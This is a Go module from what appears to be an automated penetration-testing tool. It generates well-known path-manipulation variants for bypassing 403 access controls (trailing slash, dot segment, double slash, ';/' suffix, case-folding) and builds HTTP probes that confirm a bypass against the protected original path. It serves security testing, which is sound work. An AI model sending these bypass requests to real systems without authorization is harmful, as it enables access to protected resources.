package exploit

import (
	"fmt"
	"strings"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/swarm/verify"
)

// AuthBypassVariant names a 403→200 path-based bypass technique and the
// transformed request path it produces (the attack path). The control is always
// the original protected path, so a 2xx attack against a denied control is a
// proven access-control bypass.
type AuthBypassVariant struct {
	Technique string // human label, e.g. "trailing-slash"
	Path      string // the transformed path+query (the attack request-target)
}

// AuthBypassVariants returns path-based 403-bypass variants for a protected
// request-target (path, optionally with ?query). Each variant is a well-known
// front-end-ACL / back-end-routing mismatch: a trailing slash, a dot segment, a
// doubled slash, a path-parameter (`;`) suffix, a trailing dot, or a case-folded
// final segment. Variants that would not actually change the path are omitted,
// and the original query is preserved on each.
func AuthBypassVariants(target string) []AuthBypassVariant {
	path, query := target, ""
	if i := strings.IndexByte(target, '?'); i >= 0 {
		path, query = target[:i], target[i:]
	}
	if path == "" {
		path = "/"
	}

	var variants []AuthBypassVariant
	add := func(technique, p string) {
		if p == path || p == "" {
			return
		}
		variants = append(variants, AuthBypassVariant{Technique: technique, Path: p + query})
	}

	add("trailing-slash", path+"/")
	add("dot-segment", "/."+path)
	add("double-slash", "/"+path) // yields a leading "//"
	add("path-parameter", path+";/")
	add("trailing-dot", path+"/.")
	add("case-fold-segment", caseFoldLastSegment(path))
	return variants
}

// caseFoldLastSegment flips the case of the first letter of the path's final
// segment (e.g. /admin → /Admin, /Users → /users), a routing/ACL case-mismatch
// probe. Returns the input unchanged when there is no letter to flip.
func caseFoldLastSegment(path string) string {
	slash := strings.LastIndexByte(path, '/')
	seg := path[slash+1:]
	if seg == "" {
		return path
	}
	r := rune(seg[0])
	switch {
	case r >= 'a' && r <= 'z':
		r -= 'a' - 'A'
	case r >= 'A' && r <= 'Z':
		r += 'a' - 'A'
	default:
		return path
	}
	return path[:slash+1] + string(r) + seg[1:]
}

// AuthBypassSpec builds a differential re-proof recipe for one path-based bypass
// variant: the attack requests the transformed path, the control requests the
// original (protected) path. A 2xx attack against a 401/403/404 control is the
// authorization boundary being crossed for real — the differential oracle's
// strongest signal, and one no model produced.
//
// targetURL is the protected endpoint; variant is one AuthBypassVariants entry;
// authHeader is an optional session credential (a bypass that works only with a
// low-privilege token is still a finding). Returns an error if the result is
// invalid.
func AuthBypassSpec(targetURL string, variant AuthBypassVariant, authHeader string) (*verify.ProbeSpec, error) {
	host, pathQuery := splitHostPath(targetURL)
	if variant.Path == "" {
		return nil, fmt.Errorf("auth-bypass: empty variant path")
	}

	var b strings.Builder
	b.WriteString("GET " + verify.DefaultMarker + " HTTP/1.1\r\n")
	writeCommonHeaders(&b, host, authHeader)
	b.WriteString("\r\n")
	// Attack = the transformed path; control = the original protected path.
	return verify.NewDifferentialSpec(b.String(), "", variant.Path, pathQuery, "")
}

// splitHostPath splits a URL into host and path+query (path defaults to "/"),
// by hand so the request-target is placed verbatim (no percent-encoding of the
// marker or the bypass path).
func splitHostPath(targetURL string) (host, pathQuery string) {
	rest := targetURL
	for _, p := range []string{"https://", "http://"} {
		rest = strings.TrimPrefix(rest, p)
	}
	host, pathQuery = rest, "/"
	if i := strings.IndexAny(rest, "/?#"); i >= 0 {
		host, pathQuery = rest[:i], rest[i:]
	}
	if pathQuery == "" {
		pathQuery = "/"
	}
	return host, pathQuery
}
